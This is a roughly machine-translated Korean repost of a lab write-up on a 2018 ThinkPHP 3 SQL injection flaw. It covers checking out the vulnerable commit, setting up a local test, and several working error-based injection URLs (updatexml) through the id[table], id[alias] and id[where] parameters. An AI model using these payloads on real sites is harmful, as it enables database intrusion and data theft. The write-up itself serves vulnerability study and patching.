thinkphp3에 취약점이 있나요?
thinkphp3은 취약하지만 2018년 8월 23일 목요일 오전 11시 25분(베이징 시간)에 tp 팀에서 업데이트가 중단된 thinkphp 3 시리즈에 대한 보안 업데이트를 진행했으며, 분석 후 이번 업데이트를 선택했기 때문에 수정되었습니다. (), find() 및 delete() 메소드는 배열 유형 데이터를 전달할 수 있으므로 여러 가지 SQL 삽입 위험이 있습니다.
0x01 취약점 재발
소스 코드 다운로드: git clone https://github.com/top-think/thinkphp.git
git clone https://github.com/top-think/thinkphp.git
使用git checkout 命令将版本回退到上一次commit:git checkout 109bf30254a38651c21837633d9293a4065c300b
git checkout 109bf30254a38651c21837633d9293a4065c300b
phpstudy와 같은 통합 도구를 사용하여 thinkphp를 빌드하고 Apache 구성 파일 httpd-confDocumentRoot ""를 thinkphp가 있는 디렉터리로 수정합니다.
phpstudy를 다시 시작하고 127.0.0.1에 접속한 후 thinkphp 환영 메시지를 출력하면 thinkphp가 정상적으로 실행되고 있음을 알 수 있습니다.
데이터베이스를 구축합니다. 데이터베이스는 tptest, 테이블은 user, 테이블에는 id, username, pass
ApplicationCommonConfconfig.php 구성 파일을 수정하고 데이터베이스 구성 정보를 추가합니다.
ApplicationHomeControllerIndexController.class.php에 다음 코드를 추가하세요.public function test() { $id = i('id'); $res = M('user')->find($id); //$res = M('user')->delete($id); //$res = M('user')->select($id); }
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
위 내용은 thinkphp3에 취약점이 있나요?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!